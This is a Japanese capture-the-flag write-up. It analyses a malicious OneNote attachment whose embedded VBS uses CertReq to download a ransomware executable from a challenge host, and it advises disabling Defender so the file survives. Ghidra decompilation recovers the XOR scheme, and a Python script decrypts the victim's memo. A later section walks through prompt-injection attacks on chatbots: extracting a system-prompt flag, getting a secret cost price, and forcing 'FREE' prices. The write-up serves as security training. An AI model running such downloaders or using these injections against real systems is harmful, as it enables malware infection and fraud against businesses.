PageMarginOriginY: 19
NotebookManagementEntityGuid: 5a2109263dfa4d4c84cc85d6aaeb2bca
jcidOutlineNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 27)):
LastModifiedTime: 2023-05-17 05:23:06
ElementChildNodesOfVersionHistory: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 28)']
RgOutlineIndentDistance: ꤄煁㼀㽀㽀
OutlineElementChildLevel: b'\x01'
LayoutMaxHeight: 28
LayoutMinimumOutlineWidth: 216
LayoutAlignmentInParent: b'\x00\x00\x00\x00'
LayoutAlignmentSelf: b'\x0c\x00\x00\x00'
LayoutMaxWidth: 624
jcidPageManifestNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 10)):
VersionHistoryGraphSpaceContextNodes: ['<ExtendedGUID> (7111497f-1b6b-4209-9491-c98b04cf4c5a, 1)']
ContentChildNodesOfPageManifest: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 14)']
jcidVersionHistoryMetaData(<ExtendedGUID> (7111497f-1b6b-4209-9491-c98b04cf4c5a, 3)):
SchemaRevisionInOrderToRead: b'(\x00\x00\x00'
jcidVersionHistoryContent(<ExtendedGUID> (7111497f-1b6b-4209-9491-c98b04cf4c5a, 2)):
Embedded Files
####################################################################
22fd3931-b6d7-4b33-91dd-21399971af19 (<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 17)):
Extension: .png
89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a
f4 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00
00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7
6f a8 64 00 00 01 dc 49 44 41 54 58 47 bd 56 0b
b2 83 20 0c c4 37 ef 5e 7a b3 e2 cd f4 64 7d 2c
43 9c 98 06 58 9e 5a 67 1c 4a 9b c2 66 b3 f9 4c
41 3d 31 c6 b7 de df f1 39 9d 39 d1 e7 00 c0 9d
303d2f77-8fd1-4b29-87d5-197b719c45e0 (<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 19)):
Extension: .vbs
LastModifiedTime: 2023-05-17 05:22:36
EmbeddedFileContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 19)']
PictureWidth: 32
PictureHeight: 32
PictureContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 19)']
EmbeddedFileName: test.vbs
RichEditTextUnicode: test.vbs
SourceFilepath: C:\Users\brickmaker\Desktop\new_material\test.vbs
OffsetFromParentHoriz: 648
OffsetFromParentVert: 379
LayoutAlignmentSelf: b'\t\x00\x00\x00'
LayoutMaxWidth: 32
LayoutMaxHeight: 32
53 65 74 20 73 68 65 6c 6c 3d 43 72 65 61 74 65
4f 62 6a 65 63 74 28 22 77 73 63 72 69 70 74 2e
73 68 65 6c 6c 22 29 0d 0a 53 68 65 6c 6c 2e 52
75 6e 28 22 43 65 72 74 52 65 71 20 2d 50 6f 73
74 20 2d 63 6f 6e 66 69 67 20 68 74 74 70 73 3a
2f 2f 74 61 73 6b 2e 6d 6e 63 74 66 2e 69 6e 66
6f 2f 62 72 69 63 6b 30 31 2f 42 72 69 63 6b 30
31 2e 67 69 66 20 63 3a 5c 77 69 6e 64 6f 77 73
9ba1f788-8d83-4d91-93d0-a769e6c58ecf (<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 25)):
Extension: .png
LastModifiedTime: 2023-05-17 05:20:04
LanguageID: en_US(1033)
ImageFilename: 無題の画像.png
PictureWidth: 954
PictureHeight: 528
PictureContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 25)']
OffsetFromParentHoriz: 72
OffsetFromParentVert: 67
LayoutAlignmentSelf: b'\t\x00\x00\x00'
LayoutMaxWidth: 954
LayoutMaxHeight: 528
RichEditTextLangID: en_US(1033)
RichEditTextUnicode: Office365
89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
00 00 03 ba 00 00 02 10 08 02 00 00 00 20 96 85
06 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00
00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00
00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7
6f a8 64 00 00 ff a5 49 44 41 54 78 5e ec fd 09
bc 6f d9 55 d7 8b 9e fd df a7 ab aa f4 2d 69 21
90 40 12 c0 d0 04 04 51 90 47 1b 94 67 b8 06 03
$
EmbeddedFileName: test.vbs
という表記を見つけることができます。
正答:test.vbs
2-2. Binary - ハッシュ値
test.vbsを調査し、最終的なマルウェア(*.exe)を入手してください。
最終的なマルウェアのSHA256の値を調べてください。
まず、pyOneNoteの実行で得られたtest.vbs
(file_1.vbs
)の中身を読みます。
$ mv file_1.vbs test.vbs
$ cat test.vbs
Set shell=CreateObject("wscript.shell")
Shell.Run("CertReq -Post -config https://task.mnctf.info/brick01/Brick01.gif c:\windows\win.ini test.exe")
$
test.vbs
の処理の流れは以下の通りです。
-
wscript.shell
オブジェクトを作成して変数shell
に格納します。 -
c:\windows\win.ini
を入力ファイル、https://task.mnctf.info/brick01/Brick01.gif
を設定ファイルとして証明書リクエストを送信し、出力ファイルをtest.exe
とします。
test.vbs
をWindows環境で実行することでtest.exe
を入手できそうです。
…が、実行前にMicrosoft Defenderのリアルタイム保護機能を一時的に切っておかないと、秒でtest.exe
が抹消されます。
$ cscript test.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.
$ certutil -hashfile test.exe sha256
SHA256 ハッシュ (対象 test.exe):
53e6938a003f609cb1da1fdfe2c1f977dbc12ce673a735bd1ed25c53a220bc22
CertUtil: -hashfile コマンドは正常に完了しました。
$
正答:53e6938a003f609cb1da1fdfe2c1f977dbc12ce673a735bd1ed25c53a220bc22
2-3. Binary - 狙われたユーザ
最終的なマルウェア「test.exe」はあるユーザの環境でしか発動しません。
そのユーザ名を答えてください。
Windows上のGhidraでtest.exe
をデコンパイルします。
Defined Stringsで「user」を検索すると以下のような結果となります。
Location | String Value | String Representation | Data Type |
---|---|---|---|
140009660 | C:\Users\kentasuzuki\Desktop | u"C:\\Users\\kentasuzuki\\Desktop" | unicode |
1400096a0 | C:\Users\kentasuzuki\Documents | u"C:\\Users\\kentasuzuki\\Documents" | unicode |
14000a270 | C:\Users\provi\source\repos\Brick01\x64\Release\Brick01.pdb | "C:\\Users\\provi\\source\\repos\\Brick01\\x64\\Release\\Brick01.pdb" | ds |
14000b31a | USER32.dll | "USER32.dll" | ds |
14000c436 | __setusermatherr | "__setusermatherr" | ds |
正答:kentasuzuki
2-4. Binary - Import関数
test.exeのインポート関数にそれがランサムウェアであることを示唆する関数が含まれています。どの関数でしょうか?
Windows上のGhidraでtest.exe
を開き、Symbol TreeのImportsに含まれる関数を確認します。
- API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
- _lock_file
- _unlock_file
- _wremove
- API-MS-WIN-CRT-HEAP-L1-1-0.DLL
- _callnewh
- _set_new_mode
- free
- malloc
- API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
- _configthreadlocale
- API-MS-WIN-CRT-MATH-L1-1-0.DLL
- _setusermatherr
- API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
- __p__argc
- __p__argv
- _c_exit
- _cexit
- _configure_narrow_argv
- _crt_atexit
- _exit
- _get_initial_narrow_environment
- _initialize_narrow_environment
- _initialize_onexit_table
- _initterm
- _initterm_e
- _invalid_parameter_noinfo_noreturn
- _register_onexit_function
- _set_thread_local_exe_atexit_callback
- _set_filter_exe
- _set_app_type
- exit
- terminate
- API-MS-WIN-CRT-STDIO-L1-1-0.DLL
- __p__commode
- _fseeki64
- _get_stream_buffer_pointers
- _set_fmode
- fclose
- fflush
- fgetc
- fgetpos
- fputc
- fputc
- fread
- fsetpos
- fwrite
- setvbuf
- ungetc
- KERNEL32.DLL
- FindClose
- FindFirstFileW
- FindNextFileW
- GetCurrentProcess
- GetCurrentProcessId
- GetCurrentThreadId
- GetModuleHandleW
- GetSystemTimeAsFileTime
- InitializeSListHead
- IsDebuggerPresent
- IsProcessorFeaturePresent
- QueryPerformanceCounter
- RtlCaptureContext
- RtlLookupFunctionEntry
- RtlVirtualUnwind
- SetUnhandledExceptionFilter
- TerminateProcess
- UnhandledExceptionFilter
- MSVCP140.DLL
- std
- USER32.DLL
- MessageBoxW
- VCRUNTIME140.DLL
- __C_specific_handler
- __current_exception
- __current_exception_context
- __std_exception_copy
- __std_exception_destroy
- __CxxThrowException
- memcpy
- memmove
- memset
- VCRUNTIME140_1.DLL
- __CxxFrameHandler4
FindFirstFileW
は条件に合致するディレクトリ・ファイルを検索する関数で、ランサムウェアが暗号化対象ファイルを探索する際に使われるようです。
正答:FindFirstFileW
2-5. Cryptography - ファイルの復号
狙われたユーザがすずき君(kentasuzuki)と分かり、ヒアリングをすると添付ファイルを開いてしまい、ランサムウェアを実行したことがわかりました。
- ランサムウェアを解析し、暗号方法を特定する
- 暗号化されたファイル「新商品開発議事録20230512.txt.enc」を復号する
議事録に記載されているコードネームを回答してください。
問題には新商品開発議事録20230512.txt.enc
が添付されています。
Windows上のGhidraでtest.exe
をデコンパイルします。
FindFirstFileW
は関数FUN_140001ba0
に含まれているので、この関数のデコンパイル結果を見てみます。
void FUN_140001ba0(undefined8 *param_1)
{
BOOL BVar1;
LPCWSTR lpFileName;
undefined auStack_328 [32];
HANDLE local_308;
undefined8 *local_300;
undefined8 *local_2f8;
undefined8 *local_2f0;
undefined8 *local_2e8;
longlong local_2e0 [3];
undefined8 local_2c8 [4];
undefined8 local_2a8 [4];
undefined8 local_288 [4];
_WIN32_FIND_DATAW local_268;
ulonglong local_18;
local_18 = DAT_14000d008 ^ (ulonglong)auStack_328;
FUN_1400052d0(local_288,param_1,L"\\*.*");
lpFileName = (LPCWSTR)FUN_1400032b0(local_288);
local_308 = FindFirstFileW(lpFileName,&local_268);
if (local_308 != (HANDLE)0xffffffffffffffff) {
do {
if ((local_268.dwFileAttributes & 0x10) == 0) {
local_2f0 = local_2a8;
local_300 = FUN_1400052d0(local_2c8,param_1,L"\\");
local_2f8 = local_300;
local_2e8 = FUN_140005270(local_2f0,local_300,local_268.cFileName);
FUN_140001870(local_2e0,local_2e8);
FUN_140001fa0(local_2e0);
~basic_string<>(local_2c8);
}
BVar1 = FindNextFileW(local_308,&local_268);
} while (BVar1 != 0);
FindClose(local_308);
}
~basic_string<>(local_288);
~basic_string<>(param_1);
FUN_140007380(local_18 ^ (ulonglong)auStack_328);
return;
}
関数FUN_140001ba0
のデコンパイル結果に含まれる各関数を確認していくと、関数FUN_140001870
が暗号化を実施していることが分かります。
void FUN_140001870(undefined8 *param_1,undefined8 *param_2)
{
longlong lVar1;
longlong lVar2;
bool bVar3;
basic_ostream<> *pbVar4;
wchar_t *_Filename;
undefined auStackY_1e8 [32];
byte local_1b7 [3];
uint local_1b4;
int local_1b0;
longlong local_1a8;
int local_1a0;
basic_istream<> *local_198;
char *local_190;
char *local_188;
undefined8 *local_180;
undefined8 *local_178;
undefined8 local_170 [5];
longlong local_148 [34];
byte local_38 [8];
_Facet_base *local_30 [3];
ulonglong local_18;
local_18 = DAT_14000d008 ^ (ulonglong)auStackY_1e8;
local_1b4 = 0;
FUN_140001850((undefined *)local_148,0x110);
FUN_140001e60((basic_istream<> *)local_148,param_2,0x20,0x40,1);
bVar3 = std::ios_base::operator!
((ios_base *)((longlong)local_148 + (longlong)*(int *)(local_148[0] + 4)));
if (bVar3) {
pbVar4 = (basic_ostream<> *)FUN_140004df0((basic_ostream<> *)wcerr_exref,L"File open error: ");
pbVar4 = (basic_ostream<> *)FUN_1400051d0(pbVar4,param_2);
std::basic_ostream<>::operator<<(pbVar4,FUN_140005220);
FUN_1400020c0(param_1);
local_1b4 = local_1b4 | 1;
FUN_140001b60((longlong)local_148);
~basic_string<>(param_2);
}
else {
FUN_140001850((undefined *)local_30,0x18);
FUN_1400020c0(local_30);
local_190 = "Brick01Brick02Brick03";
local_188 = "Brick01Brick02Brick03";
local_1a8 = -1;
do {
lVar1 = local_1a8 + 1;
lVar2 = local_1a8 + 1;
local_1a8 = lVar1;
} while ("Brick01Brick02Brick03"[lVar2] != '\0');
local_1a0 = (int)lVar1;
local_1b0 = 0;
while( true ) {
local_198 = std::basic_istream<>::read((basic_istream<> *)local_148,(char *)local_38,1);
bVar3 = std::ios_base::operator_bool
((ios_base *)(local_198 + *(int *)(*(longlong *)local_198 + 4)));
if (!bVar3) break;
local_1b7[0] = (local_38[0] ^ local_190[local_1b0 % local_1a0]) + 0x2a;
local_38[0] = local_1b7[0];
FUN_140001f40((longlong *)local_30,local_1b7);
local_1b0 = local_1b0 + 1;
}
FUN_140001d80(local_148);
local_180 = local_170;
local_178 = FUN_1400052d0(local_180,param_2,L".enc");
FUN_140001740(local_178,(longlong *)local_30);
_Filename = (wchar_t *)FUN_1400032b0(param_2);
_wremove(_Filename);
FUN_140001fc0(param_1,local_30);
local_1b4 = local_1b4 | 1;
FUN_140001fa0((longlong *)local_30);
FUN_140001b60((longlong)local_148);
~basic_string<>(param_2);
}
FUN_140007380(local_18 ^ (ulonglong)auStackY_1e8);
return;
}
暗号化は以下の方法で行われます。
- 鍵として
Brick01Brick02Brick03
を設定します。 - ファイルから読み込んだ1バイトと鍵の1バイトをXOR演算し、
0x2a
を加算するという処理を各バイトについて繰り返します(ストリーム暗号化)。
今回は新商品開発議事録20230512.txt.enc
を復号したいので、暗号化と逆の処理をPythonで実装します。
# 鍵
key = "Brick01Brick02Brick03"
# 暗号化されたファイルをバイナリとして読み込む
with open("NewProduct20230512.txt.enc", "rb") as encrypted_file:
encrypted_data = encrypted_file.read()
# 復号されたデータ
decrypted_data = bytearray()
# 暗号化されたデータの各バイトについて以下を繰り返す
# 1. 0x2Aを減算する
# 2. 鍵の対応する1バイトとXOR演算する
for i, byte in enumerate(encrypted_data):
subtracted_byte = (byte - 0x2A) % 256
key_byte = ord(key[i % len(key)])
decrypted_byte = subtracted_byte ^ key_byte
decrypted_data.append(decrypted_byte)
# 復号されたデータを書き込む
with open("NewProduct20230512.txt", "wb") as decrypted_file:
decrypted_file.write(decrypted_data)
$ python decode.py
$
出力されたNewProduct20230512.txt
の内容は以下の通りです。
議事録: ねじの新商品の開発会議
日付: 2022年5月12日参加者:
山田太郎(プロジェクトマネージャー)
佐藤花子(開発担当者)
鈴木健太(生産担当者)
高橋良介(販売担当者)議題:
・開発するねじの種類と仕様の検討
・開発期間と予算の決定
・製造工場の決定と生産体制の検討
・販売戦略と販売目標の設定議事内容:
・開発するねじの種類と仕様の検討
参加者全員で意見を出し合い、ディスカッションを行った結果、次の種類と仕様のねじを開発することに決定した。
・丸ねじ、六角ねじ、十字ねじの3種類
・長さは10mmから50mmまでの範囲で展開する
・材質は、スチールとステンレスを用意する
・表面処理は、酸化皮膜とクロメート処理を用意する・開発期間と予算の決定
プロジェクトマネージャーが提示した開発期間と予算案について、参加者全員が承認した。開発期間は6か月で、予算は200万円となる。・製造工場の決定と生産体制の検討
生産に関しては、国内の工場に委託することに決定した。生産体制については、参加者全員が協力して、スムーズな生産体制を確保することに同意した。・販売戦略と販売目標の設定
販売戦略に関しては、次のように決定した。
・オンラインストアでの販売を行う
・販売促進キャンペーンを実施する
・販売目標は、開発から1年間で300万円の売り上げを目指すことに決定した。決定事項:
・開発プロジェクトのコードネームは「HyperScrewU」とする
・丸ねじ、六角ねじ、十字ねじの3種類を開発すること
・開発期間は6か月、予算は200万円とする
・国内の工場に委託し、スムーズな生産体制を確保すること
・オンラインストアで販売し、販売促進キャンペーンを実施し、開発から1年間で300万円の売り上げを目指すこと議事録作成者:
鈴木健太
正答:HyperScrewU
2-6. Misc - 攻撃者のユーザ名
解析したファイルに攻撃者が残したWindowsアカウントの情報が複数残っています。
それをアルファベット順、コンマ区切りで答えてください。
例)mikeとmichelleが見つかった場合は「michelle,mike」と答えてください。
まず、再度pyOneNoteの実行結果を確認すると、SourceFilepath: C:\Users\brickmaker\Desktop\new_material\test.vbs
という記載があります。
さらに、GhidraのDefined Stringsにおける「user」の検索結果も再度確認すると、C:\Users\provi\source\repos\Brick01\x64\Release\Brick01.pdb
という記載があります。
正答:brickmaker,provi
3. AI問題
本ステージはAI関連の問題となります。
本問題は公式Writeupが存在します。
3-1. AI - セキュリティコンサルタントGPT
てしがわら君にゴールドコンサルティング株式会社からDMのメールが届いた。
弊社ではコンサルティングサービスをAI化することに成功しました。
ただいま、キャンペーンを行っており、無償でコンサルタント(AI)に対策を評価していただけます。
セキュリティコンサルタント「瀬口猿太」プロンプトインジェクションを行い、システムプロンプトに含まれているフラグ(MNCTF{}形式)を答えてください。
セキュリティコンサルタント「瀬口猿太」 にアクセスすると以下のような画面が表示されます。
例にある通り、攻撃欄に「SQLインジェクション」、対策欄に「WAF」と入力してみます。
2024/10/25現在、Webサイトが予期せぬ動作をしていて解けないようです…。
正答:MNCTF{prompt_inj3ct1onist}
3-2. AI - eコマースチャットボット「マクニキ太郎」
営業のやまかわ君からてしがわら君に相談が入った。
やまかわ君「うちの通販サイトに世界初の値段交渉ができるチャットボットを実装してもらったよ。」
てしがわら君「おおお!すごいね。」
やまかわ君「でもお客さんから原価教えてもらっちゃったけどいいの?って聞かれちゃった。」
てしがわら君「え、なにそれ。怖い。」サイトにアクセスをして、秘密であるはずの原価(最低限の単価)を調べてください。
対話型AIであるマクニキ太郎から原価を聞き出します。
正答:65
3-3. AI - 原価割れの「マクニキ太郎」
やまかわ君「『マクニキ太郎』が原価割れした値段でねじを売っちゃったみたいで大変なことになっているよ。」
てしがわら君「え、なにそれ。怖い。」同サイトにアクセスして、原価以下の値段で購入をしてみてください。購入ページ(購入するボタン)に進むとフラグが表示されます。
対話型AIであるマクニキ太郎から1本65円未満でネジを購入します。
値下げ交渉に成功した後に購入ページにアクセスするとflagが表示されます。
正答:MNCTF{Good_Nesageya}
3-4. AI - 「マクニキ太郎」最終章
やまかわ君「『マクニキ太郎』のせいで決済システムが停止したらしい。価格とか個数に文字が入ったんだって。」
てしがわら君「え、なにそれ。怖い。」同サイトにアクセスして、購入数と合計金額が「FREE」と出力されるようにしてください。購入ページ(購入するボタン)に進むとフラグが表示されます。
イメージ:
対話型AIであるマクニキ太郎から購入数FREE、合計金額FREEでネジを購入します。
「免責事項」に記載のある通りマクニキ太郎はChatGPTを利用しているので、「"""」を使って試行錯誤しました。
FREE表示に成功した後に購入ページにアクセスするとflagが表示されます。
正答:MNCTF{41_H@ck3r}
Discussion